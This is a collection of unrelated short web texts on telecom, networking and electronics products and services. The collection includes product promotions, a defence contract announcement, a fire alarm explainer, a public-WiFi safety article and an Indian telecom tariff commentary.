This innovative technology is the logical continuation of the company's history, in which RICO has developed and offered intelligent solutions for every pipe diameter and duct and pipe inspection. Whether it's a push or pull operation, a mobile system or a fully equipped sewer inspection vehicle - we look forward to every task that our customers will put forward and thank us, and to all customers, partners and employees who have made the company a technology and services company that it is today.


There is something so frustrating about sitting in a meeting which has poor audio quality. Or being the one calling in without being heard clearly due to technical difficulties. This is a common predicament that many find themselves in.
Getting quality audio is a difficult task. It is especially true in small or medium size rooms. This becomes extra difficult when many of the meeting’s participants are calling in from different devices in different auditory atmospheres.
Luckily, Shure, the audio electronics company, has the solution which can handle any audio tasks. It’s called the Intellimix P300 and it is a true powerhouse.
So what exactly does the Intellimix do?
In short, the Intellimix P300 is a powerful audio mixer (or DSP) which can combine audio from up to different sources into one clear conversation. Participants can be on their landline phones, cell phones or even VoIP solution and the P300 will merge them into one clear audio experience.
It works brilliantly with a who range of hardware and USB codecs. This means it can connect to any laptop or desktop computer and merge any necessary audio into the meeting at hand. It also can connect to mobile phones, allowing you to have an uncompromised meeting with anyone, on any device.
Make Meetings Just That Much Better
Taking your meetings up a notch is a simple quest with the Intellimix P300. All that’s needed to be done is to install the Intellimix in your meeting space. The internal processor will automatically mix any relevant audio into one clear stream. It will keep any nonessential microphones off and its web interface will allow you full control over the audio sources if need be.
Another feature of this DSP is its echo cancellation and crystal clear audio. Not only will you be able to hear everyone, you will be able to hear them in a natural, conversational, environment. The Intellimix P300 is also built to seamlessly compliment Shure’s own Microflex Advance and Microflex Wireless microphone systems. Combining these pieces of audio technology will give you an unrivaled, high definition, audio experience.
We’re here to help!
Deciding on an audiovisual solution for your office may seem like an intimidating task. There is a lot of technical jargon, which may confuse even the most technologically abled of us. When it comes to the audio side of things, there is a lot to take into account. If this seems all too much for you, or you simply have any AV-related questions please get in touch with us at email@example.com or 213-493-6473.


Tyonek Subsidiary to Support A-Kit Design, Prototype and Integration on US Army UH-60M
by Jason Holmes // Madison, AL // TFab Manufacturing, LLC, (TFab) a subsidiary of Tyonek Manufacturing Group, Inc. (TMG) and Tyonek Native Corporation, has been awarded a $19 million contract to support the Limited Interim Missile Warning System (LIMWS). LIMWS is the U.S. Army’s competitive procurement activity to provide upgraded capability to the warfighter beyond the AN/AAR-57 Common Missile Warning System (CMWS).
BAE systems won the competition for the LIMWS development program utilizing T-Fab as a major sub-contractor. TFab will perform work scope that covers A-Kit design, A-Kit manufacture and installation for UH-60M aircraft. Awarded task(s) will consist of the detailed integrated design of the A-Kit (including Technical Data Package), fabrication and installation of a prototype A-Kit on a UH-60M, generation of a Modification Work Order (MWO), MWO validation through a second installation, and support to the USG for MWO verification.
“We are honored to support BAE in the development, production and validation of the LIMWS. This is an extremely important program being developed on an aggressive timeline under a Quick Reaction Capability (QRC),” said Steve Adlich, President, TMG. “This program will provide an extremely important upgrade to the current CMWS system and will provide a substantial leap forward in technology for Aircraft Survivability Equipment (ASE) for the US Army.”
Manufacturing and Engineering will be performed at Tyonek’s facility in Madison, AL and prototype installation as well as validation and verification testing will be performed at the company’s modification and support facility in Kiln, MS.


Layer 2 VPN architectures. Anthony Chan, Carlos Pignataro, Dmitry Bokotey, Wei Luo
ISBN: 1587058480,9781587058486 | 648 pages | 17 Mb
Layer 2 VPN architectures Anthony Chan, Carlos Pignataro, Dmitry Bokotey, Wei Luo
Publisher: Cisco Press
Cisco Press – Optical Network Design and Implementation(2004).chm. Cisco Press – Network Security Fundamentals.chm. Cisco ASA: All-in-one Security. Enterprisees who wish to appear connected on the same LAN segment can use this service. Cisco Press – Layer 2 VPN Architectures.chm. The MPLS/VPN architecture allows for segmentation at Layer 3. NO dynamic routing protocol support or VPN support, The firewall control plane cannot insert itself into the IP circuit and cannot provide a lot of services. End-to-End QoS Network Designs: LANS, WANS and VPNS. Layer 3-centric architectures have superior scaling properties and discourage wide-area live migration and other practices that scare us network engineers. This is the eBook version of the printed book. A complete guide to understanding, designing, and deploying Layer 2 VPN technologies and pseudowire emulation applications. Anthony Chan, Carlos Pignataro, Dmitry Bokotey, Wei Luo. Layer 2 VPN Architectures: Understanding Any Transport over MPLS (略). VPLS is a layer 2 VPN architecture which was designed for multipoint connectivity and broadcast capability. Open VPN - building and integrating virtual private networks 6. Just as the networking community debates which signal protocol is superior in the point-to-point Layer 2 VPN architectures, a similar debate arose when VPLS debuted as a multipoint Layer 2 VPN architecture. Understanding AToM Operations In Chapter 3, you learned how AToM achieves a high degree of scalability by using the MPLS encoding method.
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Go Live Support
A world leader in food, environmental, and pharmaceutical products testing embarked on a European wide migration from IPSec and MPLS to an SD-WAN VeloCloud™ solution, with the goal of deploying to additional sites in the United States and Asia at a later stage. Their aim was to improve their security, connection speeds, and bottom-line costs. However, they lacked the internal bench strength to complete the migration on their own, and the niche expertise required in a scenario like this was difficult for them to find. As a result, they chose to partner with Oxford Global Resources to connect them with the highest caliber of talent available and lead their project across the finish line.
Oxford provided six external Senior Network Engineers with vast experience in large LAN/WAN network deployments and refreshes. The engineers were able to collaborate with the client’s technical staff and formulate a smooth deployment model for all sites in the scope – including 200 sites in Germany, France, Italy, UK and Spain. The engagement was expected to be completed by August of the following year. The team worked with the client from both onsite and remote environments to deploy new hardware, switches, cabling, and racks where necessary and supported technologies such as SD-WAN VeloCloud.
The consultants also assisted with the standardization of the infrastructure architecture across all operations, covering projects in technologies such as:
- Active Directory™
The consultant team successfully deployed the new SD-WAN solution across the 200 sites by April – four months ahead of the original scheduled date. The team had initially set an aggressive timeline, yet they managed to surpass all expectations and deadlines. Additionally, the client was particularly impressed with the consultants’ communication, professionalism, and leadership qualities. Following the successful deployment to the European sites, Oxford continues to support this client as they migrate additional sites.


Setting up Remote Services using TypeWell Web Linking
The simplest way to do remote linking is to use the Web Linking feature (TypeWell Premium V6 and higher). The transcript is sent from the transcriber's computer to the TypeWell Web server. Readers then view the live transcript using any standard Web browser. This has the advantage that the reader doesn't need to install special software, as any Web browser will suffice.
Click here to view a demo of Web Linking in your browser, or scan the QR code to launch the demo on your smartphone or mobile device.
Web Linking provides an excellent reader experience, with the ability to display the transcript on devices such as iPads and smartphones. Readers can adjust the font, take notes, and send a message to the transcriber.
TypeWell's Web Linking supports font formatting and special symbols and characters when the transcriber uses math mode.
Setting up Remote Services using Skype Linking
Another way to do remote linking is to install a copy of TypeWell Premium Reader on the reader's computer, and then use Skype Linking to connect the transcriber to the reader. This also provides a good reader experience, by supporting the full set of TypeWell features including font formatting and math symbols.
NOTE: Due to Skype's decision to remove its Desktop API after the end of 2013, we cannot guarantee that this method of linking will continue to work in TypeWell. See our blog post for more information. As of May 2015, it still seems to be working just fine!
Setting up Remote Services using a Simple Serial Connection (e.g. StreamText)
StreamText is a third-party streaming text service, similar to TypeWell's Web Linking. The text is sent from the TypeWell Transcriber program to the StreamText web server. Readers view the live transcript in a StreamText-provided webpage.
As with Web Linking, no special software is required on the reader's device; any Web browser will suffice. However, the transcriber's computer must install a special "StreamText Connector" program, available from the StreamText website.
NOTE: To use this linking method, you must have an account with StreamText and pay by the minute for this service; these extra third-party charges are billed to the StreamText account administrator.


JET Programme SIM Card Sales Started
Link Japan Careers has opened up its mobile telecom section “Link Mobile” to offer SIM cards to JET Programme participants arriving in all groups (A, B, C) in 2019. Previously, this service was limited to Interac, but now we are able to expand to JET. We have a special arrangement with JET and are very happy to offer discounted SIM cards at orientation venues. For more information, please see: http://mobile.link-jc.co.jp/online/.


For many domainers, travel goes with the territory. Whether it’s attending conferences, or reaping the rewards of a big domain sale (aka holidaying) – travel is often a “luxury” afforded by the nature of our industry.
When traveling, the occasional email check at an internet cafe or via wifi hotspots is something many of us have turned to – some more regularly then others. Emergencies may have forced some of us to access our domain management consoles via hotspots too.
The following information may scare some of you – the only reason I am writing about this is because the bad guys already know about these issues while many domainers don’t.
Every time you use a public WiFi network, you might be shouting your usernames, passwords and even credit card info to the world.
You will be surprised how many public WiFi networks are left unencrypted as encryption requires each user to log on to the network with a set of credentials. More importantly, even encrypted WiFi connections can be broken into with widely available software.
Many users connecting to the net via a WiFi card installed on their laptops or via their WiFi-enabled mobile phones are completely unaware that they are transmitting information over the air which can be easily viewed by others. A WiFi router broadcasts all “conversations” taking place between itself and connected users. If 5 users of a hotspot browse the web, 5 “conversations” are being broadcast within the hotspot range. Others within range can use widely available tools to eavesdrop on those “conversations”, trapping and analyzing data packets – which in case of unencrypted WiFi networks or unsecured website usage, means trapping unencrypted usernames and passwords!
Although encrypted WiFi networks are safer, they still remain vulnerable to what is called session hijacking. Many websites secure your initial login but fail to secure the subsequently used “cookies”, leaving you – the website user – vulnerable. If prying eyes are logged onto a WiFi network, they can get a hold of your unsecured cookie and hijack your session on that particular site – literally impersonating you and being able to do everything you are able to do during that session on that website (change your personal data, post status updates etc).
Session hijacking is a widely known problem within security circles yet numerous popular websites fail to protect their users from session hijacking attacks. This issue is most easily illustrated by the usage of a Firefox plugin called Firesheep. By running Firesheep on a WiFi network, the user can easily view and abuse hijackable sessions.
The only effective way to avoid session hijacking and unencrypted data transmission is to use full end-to-end encryption, known as the HTTPS or SSL (Secure socket layer) when transmitting any sensitive information – yet popular websites like Facebook and Twitter still don’t use SSL by default. More importantly, while Gmail and Yahoo protect their users with SSL, many custom email solutions don’t. Your custom blog or website installation does not either – unless you use SSL.
What can you do to protected yourself from WiFi vulnerabilities?
Avoid transmitting any personal information over public WiFi networks (i.e. avoid logging into anything of importance). On occasions however, this is simply not an option. If you must use a WiFi network to transmit personal information (i.e. log into your websites or email), make sure you are accessing only websites that provide full end-to-end encryption (SSL) – meaning their website address starts with https.
What else should I know about?
Home WiFi networks can be equally dangerous. Unsecured and unencrypted WiFi networks are a disaster waiting to happen. Criminals, pornographers and even terrorists can latch onto your connection and transmit illegal information impersonating you – literally labeling you as the source of said illegal information.
It is alleged the attackers in the recent Mumbai bombings used the unsecured WiFi networks of individuals and institutes in Mumbai to communicate and plan their attacks (source: Dangers of Wi-Fi by MSSG).


Use your cell phone as a camera? MP3 Player? Tired of wasting your time uploading and downloading files? Try NexyFILES! Discover the full power of your phone with easy to use interface to transfer files between your PC and mobile phone. Download shots you've made on your phone, upload MP3's, ringtones, themes. More than 100 phone models are supported. Bluetooth, IrDa, cable connections are welcome.
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Surface acoustic waves (SAWs) are key elements for modern technologies, from communication systems (RF filters and resonators) to touch screen displays, wireless RFID tags, etc. SAW components have been also employed in sensing devices because of significant advantages with respect to bulk acoustic waves, and in microfluidics and lab-on-chip for fluid handling, droplet generation and manipulation, cell sorting, etc. Combined to magnetic materials, SAWs allowed coupling to ferromagnetic resonances (FMRs) and spin pumping through elastically-driven FMR relaxation in a non-magnetic metal. A very interesting field of research then concerns the combination of SAWs with semiconductors, where the traveling piezoelectric potential can be exploited to manipulate and transfer carriers/spins. In our group, we investigate SAW devices for these applications.
For example, in a recent publication, we demonstrated the excitation of surface acoustic waves in the GHz regime on GaAs without using expensive sub-micrometer/nano fabrication techniques. Instead of reducing the fabrication pitch size, the operating frequency of SAW delay line was here increased by adopting an IDT geometry, which was never employed before on GaAs and promotes the generation of higher harmonic modes. In our device, choosing an appropriate value of metallization ratio, it was possible to observe up to the 13th harmonic that corresponds to a frequency of about 1.7 GHz. [S. Rizzato, M. Scigliuzzo, M. S. Chiriacò, P. Scarlino, A. G. Monteduro, C. Maruccio, V. Tasco and G. Maruccio, Excitation and time resolved spectroscopy of SAW harmonics up to GHz regime in photolithographed GaAs devices, Journal of Micromechanics and Microengineering 2017, Vol. 27, p. 125002, issn. 0960-1317, http://dx.doi.org/10.1088/1361-6439/aa8186.]


If a user has a high-speed server, connected to the Internet by a 60Mbps connection, and wants to transfer a 1.25GB file over this connection, approximately how long will the transfer take? For the purposes of this question, assume that the user’s server is the only device using this connection, the file transfer will be the only transfer the user is sending over the connection, and that the user will be able to use a maximum of 90% of the 60Mbps bandwidth, with the other 10% used for network overhead.
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In addition to our own software solutions in the monitoring and test automation space, we provide best of breed software for high speed and reliable data transport and streaming, remote work, application delivery and Big Data and analytics solutions. Our software solutions are backed by certified and experienced technical resources, and trusted by leading Media & Entertainment, Financial Services and Telecommunications enterprises.
With fast file transfer and streaming solutions built on the award-winning IBM FASP® protocol, IBM Aspera® software moves data of any size across any distance, quickly and securely. Breakpoint deployed and supports the Aspera solution that enables millions of African viewers to enjoy prime time television content, within hours of its global premiere. Aspera eliminates the fundamental bottlenecks of TCP or UDP based file transfer technologies, and dramatically speeds up transfers over public and private IP networks.
The Aspera software technology overcomes the traditional limitations of public internet connections and off-the-shelf hardware to maximize the usage of available bandwidth. The result is to deliver unmatched transfer speeds, end-to-end security, 100% reliability and exceptional bandwidth control.
Ready to get started?
Get in touch to find out more about our range of solutions and supporting services.


Eyoyo EM10C 10" IPS 1920*1200 HD LCD TV Display CCTV Security Surveillance Screen hdmi monitors with HDMI / VGA / Video / Audio
This monitor is a high quality liquid-crystal display (LCD) that uses thin-film transistor (TFT) technology to improve image qualities such as addressability and contrast. A TFT LCD is an active-matrix LCD, in contrast to passive-matrix LCDs or simple, direct-driven LCDs with a few segments.
TFT LCDs are used in appliances including television sets, computer monitors, camcorder video display, handheld video systems, personal digital assistants, navigation systems and projectors.
TFT LCDs are also used in car instrument clusters because they allow the driver to customize the cluster, as well as being able to provide an analogue-like display with digital elements.
- Simple fashion body, light and portable;
- Metal rugged housing
- Uses 10 inch FULL HD resolution (1920x1200) IPS LED screen, the image is clear and exquisite, colourful;
- Support for BNC input for professional security monitoring equipment is connected, so that signal mutual interference reduction, can achieve the best signal effect.
- Support chromatic Ypbpr input,color more vivid, the image more realistic;
- Video mode input switching, Support multi-channel video reception, high sensitivity, strong interference resistance
- Built-in high-quality loudspeakers;
- With timing switch machine and automatic signal standby function.
- Support USB interface for media player:
- Storage medium:FS/FAT32/FAT16/NTFS
- Picture JPG/JPEG/BMP/PNG
- Music Mp3/WMA/M4A/AAC
- Movie AVI/MP4/TS/TRP/MKV/MOV/MPG/DAT/VOB/RM/RMVB
- Support for VGA input, can be used for computer liquid crystal display:
- (640*480/60Hz, 800*600/60Hz, 1024*768/60Hz,1280×1024/60Hz,1360×768/60Hz,1920×1080/60Hz);
- Support high-definition:
- 480i 720x240 /60Hz,
- 480P 720x480 /60Hz,
- 576i 720x288 /50Hz,
- 576P 720x576 50Hz,
- 720P 1280x720 50/60Hz,
- 1080i 1920x540 50/60Hz,
- 1080P 1920x1080 50/60 Hz,
- Panel size: 10 inch digital display
- Video input interface: VGA/BNC
- Aspect ratio: 16:10
- Resolution: 1920 x 1200
- Brightness: 600cd/m2
- Contrast ration: 1000:1
- Response time: 18ms
- Power input: DC12V-1000mA
- Power mode support: Power adapter
- Adjustable stand: Landscape
- Speaker: 10W(max)*2
- OSD Menu Language options: ENGLISH RUSSIAN PORTUGAL SPAIN DETCH FRANCE ITALY CHINESE
- Temperature range (operation): 0-40 centigrade degree.
- CE ROHS Certificate
Apply for: CCTV/LAB Microscope/CNC Monitor/FPV/DSLR Field monitor/PC Monitor etc.
if use one DSLR camera monitor,it only support HD720P/1080P/1080I at 50,60fps
1x 10" IPS Monitor
1x Remoe controller
1x Monitor stand
1x BNC Cable
1x Power adapter
1x User's manual
1x Wall Bracket


In our efforts to provide more reliable communications with Residents [and Businesses] in the City, we have implemented Swiftreach Networks, Inc. as our Emergency Notification service provider.
Swift911™ in its simplest form is a system that makes phone calls to specific people or areas in the event of an emergency or for sharing important information. All the calls you receive will have the Caller ID of ‘City of Maple Lake.’
If you are not receiving these calls, please fill out the form below to add or update your contact information. You may also remove yourself from our lists.
Wright County has also implemented Everbridge, a new emergency notification system that can deliver messages regarding all types of emergencies and community events to the public through multiple communication platforms of their preference.
Click Here for more details on Everbridge.


Mercedes Harman / Kardon Logic 7 – amplifier repair
Harman / Kardon Logic 7 is a high-class sound system that was installed in Mercedes cars. It can be found in W221 S-Class from 2005 – 2013 and W216 CL-Class from 2006 – 2013. Unfortunately, even the high-end equipment could not be immune to certain problems. A frequent problem with this sound system is the amplifier’s fault. Initial breaks in the speakers over time can turn into total loss of sound or other persistent problems of the car audio system. The faulty part may cause incorrect operation of the Comand NTG3 and NTG 3.5 systems with which it works. Repairing these problems through dealer consists in replacing defective components with new ones which can be a large part of the value of the entire vehicle. Thanks to the work of our technicians, it is possible to repair the faulty element.
The most common cause of problems with the Harman / Kardon Logic 7 system is the failure of a faulty amplifier, which can manifest itself in several ways:
- no radio stations or access to radio tuner functions
- self-loudening of sound with simultaneous lack of response to subdued
- improper speaker operation – crackling, noise and buzzing from speakers
- total lack of sound
- the Comand system does not turn on or stops on the Mercedes logo
- the amplifier takes an additional current which can lead to battery discharge
If any of the above problems occur in your car, it can mean a problem with the amplifier. To be sure, we can diagnose the suspicious element. For this purpose, we only need an amplifier. You can deliver it to us in person or via courier. Its dismantling is not demanding – it was usually mounted above the left, rear wheel arch.We have the right technical facilities to check whether he is guilty of problems. After the diagnostics you will receive a repair quote and after it has been carried out, we send to you a working item by courier.
If you are not sure if your amplifier is Logic 7 you can compare it with the part numbers of this element.
BE 7021 / BE 9061
A 221 870 17 89 / A2218701789
A 221 870 18 89 / A2218701889
A 221 870 60 89 / A2218706089
A 221 870 67 89 / A2218706789
A 221 870 57 89 / A2218705789
A 221 820 57 89 / A2218205789
A 221 820 60 89 / A2218206089


We Do Electronic Design and Prototyping
|specializing in electronic hardware and embedded firmware||
||serving established and start-up technology companies since 1997|
legacy device upgrade
custom industrial contollers - custom controllers for agricultural machinery -
radio networks - remote control - IoT - renewable power electronics -
sensor electronics - monitors and data loggers
PIC® and PICMicro® are registered trademarks
of Microchip Technology Inc. in the U.S.A. and other countries.
Copyright © 2019 Signal Integrity Electronics. All rights reserved. Last updated November 2019.


SMARTY offers one of the cheapest unlimited data SIM plans in the United Kingdom. I was able to get their data plan for £18 per month (Currently being offered at a discount) which includes unlimited calls and texts in the United Kingdom as well as unlimited data (on 3G/4G/5G). It took about 2 days for the SIM to arrive by mail.
In case you haven’t heard about SMARTY, it is actually a virtual provider meaning the company doesn’t really have any telecom infrastructure of its own but instead uses Three UK’s infrastructure.
I am currently based out in Manchester and when I initially tested out using the hotspot, I was getting less than 1 mbps! Turns out that the 5G service is non-existent around my area and while it was able to connect to 4G network, the performance was quite dismal. I did end up contacting the service provider and was informed that some repairs are being performed but it has been a couple of days and I haven’t noticed any difference so far.
However, I noticed that the internet speed was much better when I chose to use 3G network on my phone. Running speed tests during day time, I am getting about 18-20 mbps download speeds while upload is around 2-3 mbps. Latency also appears to be quite good for gaming.
I also ended up running an internet speed test during the night and the speed was slightly better. So far, I have downloaded more than 25+ gigs in the last few days and haven’t noticed speeds being reduced further.
Unfortunately, I wasn’t able to test out SMARTY’s 5G speeds as I am not able to get any signal indoors. Which means if you are looking to setup a 5G hotspot at your home, maybe SMARTY wouldn’t work for you as well. I also have an eSIM from O2 and while SMARTY turns out to be slightly cheaper, O2’s data performance and coverage in my area is a lot better.
Tom Mehra, an Ottawa-based Software Engineer with a Masters in Information Systems from the University of Texas at Dallas, shares insights on local food spots and top attractions in Canada and the US. He’s also a former resident of the US, UK, and India, and in 2023, his blog was nominated for an Ottawa Award by Faces Magazine. He is also a cat sitter.


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For the convenience of global users to use the BDS open service signal B1I, “BeiDou Navigation Satellite System Signal In Space Interface Control Document-Open Service Signal B1I (Version 3.0)” is now available It is welcomed to be downloaded. Questions and suggestions can be forwarded to the official BDS ICD consulting email account, BeiDouICD@beidou.gov.cn, and they will be dealt by a professional and timely manner.
On December 27, 2018, a news conference was held at the State Council Information Office, for announcing that the BDS-3 Primary System was completed to provide global services. Ran Chengqi, Director General of China Satellite Navigation Office and the spokesperson of the BeiDou Navigation Satellite System, made the introduction. The details are as follows:
China successfully launched twin BeiDou-3 navigation satellites early Monday morning, marking a major milestone for the array of positioning satellites known as the BeiDou Navigation Satellite System (BDS).


GAIA: Common Framework for the Development of Speech Translation Technologies
GAIA is an open-source software platform for the integration of speech translation components. The tool can be used to facilitate and record person-to-person and machine-to-person communication.
This tool is useful to integrate into a common framework different automatic speech recognition, spoken language translation and text-to-speech synthesis solutions. Gaia operates with great flexibility, and it has been used to obtain the text and speech corpora needed when performing speech translation. The platform follows a modular distributed approach, with a specifically designed extensible network protocol handling the communication with the different modules. A well defined and publicly available API facilitates the integration of existing solutions into the architecture. Completely functional audio and text interfaces together with remote monitoring tools are provided. The speech and audio engines are not included but the interface is defined and skeleton engines are provided to help the integration of engines.
The configuration file allows to use GAIA in several scenarios, for facilitating the communication between two people or to provide service to one person.
- Speech-to-speech translation using telephone lines. Two users participate in a dialog and GAIA translate the turns. Speech recognition, spoken translation and speech synthesis is required. This was the scenario of the demonstration protoype of the LC-STAR EU Project.
- Speech/Text translation system. In this scenario one of the dialog participants uses speech and the other uses text.
- Speech collection: GAIA can manage data collection either from the desktop or from the telephone. The user can be prompted either using text or using pre-recorded or synthetic speech.
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There are many types of fire alarm systems, and each type has a control panel that communicates with the field units – the smoke detectors or pull stations. The fire alarm panel acts as the brains of the system. However, how the brain sends signals to the field units varies from system to system.
Each type of fire alarm system operates differently from the others, and each has its own pros and cons. This post will discuss the differences between four major fire alarm systems: conventional, addressable, intelligent, and wireless.
Conventional Fire Alarm Systems
The conventional fire alarm system is the first system that came to the market. It is commonly found in commercial buildings.
The wiring of the conventional fire alarm system is the first significant aspect of it that’s unique. A conventional fire alarm system uses a dedicated circuit for each field device. What does that mean?
Having a dedicated circuit for each field device means too much wiring. The conventional fire alarm system requires a different wire for each device, and each wire runs back towards the fire alarm control panel.
A conventional fire alarm system has zones that contain multiple field devices each. If any of the devices on a circuit detects a fire, you will get an alarm from the control panel, leading you to the zone where the fire is located. However, the fire alarm system can’t tell you where the fire is explicitly situated because a zone can cover a wide area of a building.
You would have to go to the zone and look for the fire manually.
The conventional fire alarm system is highly affordable to purchase but is expensive to install. It is the most straightforward system, but its extensive wiring system is more complicated and more costly to install.
Addressable Fire Alarm Systems
The addressable fire alarm system is newer and more advanced compared to the conventional fire alarm system. An addressable fire alarm system is also commonly used in commercial buildings.
Unlike the conventional fire alarm system, the addressable fire alarm system uses one circuit for all field devices. The addressable fire alarm system has a more straightforward wiring system than the conventional fire alarm system.
The addressable fire alarm system does not use zones when detecting fires. You can assign a local address for each field device; the local address can be as simple as three digits. You can also program the location of each device with the unique address into the control panel.
So when a smoke detector picks up a sign of fire, the control panel will alarm you of the fire and where it is located. An example of an addressable fire alarm system warning may look something like this: “Alarm Smoke Detector Address 471 [the local address of the device] 3rd floor, left-wing, at room 307.”
In other words, the addressable fire alarm system warns you of a fire, what device detected the fire, and where the fire is located. The addressable fire alarm system shortens response time because you will not have to look for the fire manually.
From a functionality standpoint, the addressable fire alarm system is better than the conventional fire alarm system. It is more expensive to purchase, therefore. However, because the system requires less wiring than the conventional system, it costs less to install.
Intelligent Fire Alarm Systems
The intelligent fire alarm system is just another name for the addressable fire alarm system. It is intelligent because it can pinpoint the exact location of the fire or smoke. Furthermore, you can program each detector to either send an alarm or a supervisory signal.
All of the field devices in a conventional fire alarm system zone will report the same thing if any sign of fire is detected in that zone.
Wireless Fire Alarm Systems
The wireless fire alarm is the most modern among the systems we are discussing. Its application is not limited to commercial buildings; even residential buildings can use the wireless fire alarm system.
As the name implies, the wireless fire alarm system does not need wires. Instead, the devices of the system communicate with the control panel through a radio frequency. Although the earlier versions of the system gained a reputation for unreliability due to a limited power source and failing radio transmissions, modern technology made this system seamless.
Today, the wireless fire alarm system is as reliable as a wired fire alarm system.
The detection process of the wireless fire alarm system is similar to that of the addressable or intelligent fire alarm system. A wireless fire alarm system does not have zones. Each detector will communicate directly with the control panel if signs of fire are detected.
The biggest problem with wireless fire alarm systems is that they are solely dependent on batteries. Wired systems rely on external power sources, and if those are down, they can have a backup internal power source. A wireless fire alarm system can only sound the alarm for as long as its batteries allow it to.
Since the system does not require wires, it is the least expensive when it comes to installation. However, the hardware of the system is the most costly among the systems we discussed here.
Which Fire Alarm Systems are the Best?
So, which fire alarm system is the best for you? That depends on your needs. In terms of functionality, the wireless fire alarm system is the best. It analyzes its environment for signs of a fire and wirelessly alerts the people in the vicinity. However, it also has the most expensive hardware.
The conventional fire alarm system is the cheapest option when it comes to hardware. But its technology is not as precise as either the addressable and wireless systems.
The addressable or intelligent fire alarm system combines the best of both worlds. It features the precision of the wireless system and the power reliability of the conventional system. However, it is most suited for commercial buildings.


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With eduroam, you get happy Wi-Fi users. Smartphones and laptops connect automatically. No tedious sign-up or approving of terms - this is done in advance. The user benefits from an individually encrypted wireless signal protecting against eavesdropping.
It is easy to integrate the Wi-Fi network with eduroam. This is done either on the Wi-Fi controller or on a RADIUS server. When the user's device associates, the request is sent to DeiC. If the user is registered, the system approves with an OK.
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Will JIO introduction of tariff narrow down the market share of Airtel ?Anusha Sathish (Author) Published Date : Oct 14, 2019 10:21 IST
Will JIO introduction of tariff narrow down the market share of Airtel ? The dusk on Wednesday the 9th of October brought a shock to the entire country, which is JIO's announcement of cross-network tariff. There is a view that this is going to benefit the industry in total and a boon to other networks.
But there is a mastermind behind all these. It is oblivious for everyone that every telecom company for using other network has to pay some charges.
For an instance if Airtel calls JIO and use JIO's network for facilitating the connection, then Airtel has to pay for JIO, which is nothing but Interconnection Usage Charges. It was up to 17p per minute those days. Hence incoming calls were also charged when mobile was introduced.
Now TRAI has reduced the charges up to 6 paise per minute. It was JIO which announced free calls and data for almost one year. This incurred a cost of Rs 13500 crore for JIO, which was paid to Airtel. Airtel customers end up giving missed call, and JIO customers called back, and this has given rise to enormous charges to JIO.
JIO and Airtel have both reduced the duration of the ringing time to 23 seconds so that the call goes missed. This is happening for some time. Now with the tariff introduction, JIO's network will also end up receiving calls from other networks which would fetch some income to JIO.
On the other hand, since data cannot be matched with JIO, there are possibilities customers end up using JIO internet calls and recommend the same to their friends and acquaintances.
Yes, chances are there that JIO's customer base would increase. Additional data provided will be used effectively for calls. Now WhatsApp call quality has exceeded in many cases to voice calls. This will widen the customer ground of JIO but narrow down the Airtel patron ground. Internet calls would increase.
Now Airtel also is in the incoming payout arena. On top of that, the data quality is not matched as JIO has direct access to all 20 plus towers, unlike others who rents it for their patrons.
This is going to be a negative sign for other networks, especially Airtel. So far no hearsay from Airtel on this clearly states that our perception on this price announcement might be true.
But JIO should not establish a monopoly. Even if the private players are not able to compete, the government run network should be there as a saviour. But in this case, BSNL is in huge trouble.
What is the master plan behind this tariff announcement? Will BSNL be retained? What is Airtel's current stand on this? We have to wait for more information. Let's cross our fingers for good judgment for BSNL.